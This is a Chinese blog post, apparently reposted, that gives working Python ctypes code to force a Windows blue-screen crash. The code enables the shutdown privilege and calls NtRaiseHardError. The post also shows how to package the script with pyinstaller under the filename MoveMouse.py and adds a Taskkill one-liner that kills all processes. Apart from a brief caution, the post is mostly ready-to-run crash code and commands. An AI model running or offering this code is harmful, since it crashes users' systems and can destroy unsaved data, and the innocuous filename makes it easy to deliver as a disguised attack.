admin管理员组文章数量:1658761
说明:该程序为临摹(😀)作品,源地址C++蓝屏程序(非管理员)
我试图使用Python调用 NtRaiseHardError API
,实现类似的蓝屏效果。可惜我发现Python在普通权限下,直接调用 NtRaiseHardError API
是不被允许的,因为它需要提升到系统权限才能触发蓝屏效果,即使在原文,也需要SeShutdownPrivilege
才能实现蓝屏效果。
原理:
Windows的"未公开"蓝屏api:NtRaiseHardError
可以在非管理员特权下产生BSOD
调用该API需要调用者有关机权限
代码示例:
需要管理员权限
import ctypes
from ctypes import wintypes
# 定义相关的 Windows API 函数和结构体
ntdll = ctypes.WinDLL('ntdll.dll')
ULONG_PTR = ctypes.POINTER(ctypes.c_ulong)
BOOLEAN = ctypes.c_ubyte
class UNICODE_STRING(ctypes.Structure):
_fields_ = [
("Length", wintypes.USHORT),
("MaximumLength", wintypes.USHORT),
("Buffer", ctypes.POINTER(wintypes.WCHAR)),
]
class CLIENT_ID(ctypes.Structure):
_fields_ = [
("UniqueProcess", ctypes.POINTER(wintypes.HANDLE)),
("UniqueThread", ctypes.POINTER(wintypes.HANDLE)),
]
class IO_STATUS_BLOCK(ctypes.Structure):
_fields_ = [
("Status", wintypes.ULONG),
("Information", ULONG_PTR),
]
# 定义函数原型
RtlAdjustPrivilege = ntdll.RtlAdjustPrivilege
RtlAdjustPrivilege.argtypes = [wintypes.ULONG, BOOLEAN, BOOLEAN, ctypes.POINTER(BOOLEAN)]
RtlAdjustPrivilege.restype = wintypes.LONG
NtRaiseHardError = ntdll.NtRaiseHardError
NtRaiseHardError.argtypes = [
wintypes.LONG, wintypes.ULONG, wintypes.ULONG, ULONG_PTR,
wintypes.ULONG, ctypes.POINTER(wintypes.ULONG)
]
NtRaiseHardError.restype = wintypes.LONG
# 定义一些常量和变量
STATUS_ASSERTION_FAILURE = 0xC0000420
SE_SHUTDOWN_PRIVILEGE = 19
def main():
# 获取当前进程句柄
current_process = ctypes.windll.kernel32.GetCurrentProcess()
current_thread = ctypes.windll.kernel32.GetCurrentThread()
# 启用 SE_SHUTDOWN_PRIVILEGE 权限
privilege_enabled = BOOLEAN()
RtlAdjustPrivilege(SE_SHUTDOWN_PRIVILEGE, True, False, ctypes.byref(privilege_enabled))
# 调用 NtRaiseHardError 触发 BSOD
response = wintypes.ULONG()
NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, None, 6, ctypes.byref(response))
if __name__ == '__main__':
main()
可以在该文件夹下使用cmd输入pyinstaller -wF .\MoveMouse.py打包然后使用管理员运行
代码解析:
这段代码的目的是试图在 Windows 系统中通过调用特定的 Windows API 来触发蓝屏死机(BSOD)。
以下是对代码各部分的详细解释:
-
导入和定义相关类型及库:
import ctypes
:导入 Python 的ctypes
库,用于在 Python 中调用 Windows API 函数。- 定义了各种数据类型,如
ULONG_PTR
、BOOLEAN
等,以及结构体UNICODE_STRING
、CLIENT_ID
、IO_STATUS_BLOCK
,以匹配 Windows API 所需的参数和返回值的数据结构。
-
加载
ntdll.dll
库并定义函数原型:ntdll = ctypes.WinDLL('ntdll.dll')
:加载ntdll.dll
动态链接库。- 为
RtlAdjustPrivilege
和NtRaiseHardError
函数定义了参数类型和返回值类型,以确保在调用时能够正确传递和处理参数。
-
定义常量和变量:
STATUS_ASSERTION_FAILURE
:定义了一个表示错误状态的常量。SE_SHUTDOWN_PRIVILEGE
:表示特定的权限常量。
-
main
函数:- 获取当前进程和线程的句柄。
- 通过
RtlAdjustPrivilege
函数尝试启用SE_SHUTDOWN_PRIVILEGE
权限。 - 最后调用
NtRaiseHardError
函数,并传递特定的参数,试图触发蓝屏死机。
需要强调的是,在正常的编程和使用场景中,这样的操作是不被允许和不道德的,可能会导致系统故障、数据丢失和其他严重问题。请不要在实际使用中运行这样的代码。
补充
当然如果已经有了管理员权限,那简单两行代码也能直接蓝屏
import os
os.system("Taskkill /fi \"pid ge 1\" /f") # Taskkill /fi "pid ge 1" /f 杀死所有进程,管理员权限cmd直接蓝屏
甚至可以直接在管理员cmd输入:
Taskkill /fi "pid ge 1" /f
版权声明:本文标题:【Python蓝屏程序(管理员)】 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://m.elefans.com/xitong/1729823080a1214008.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论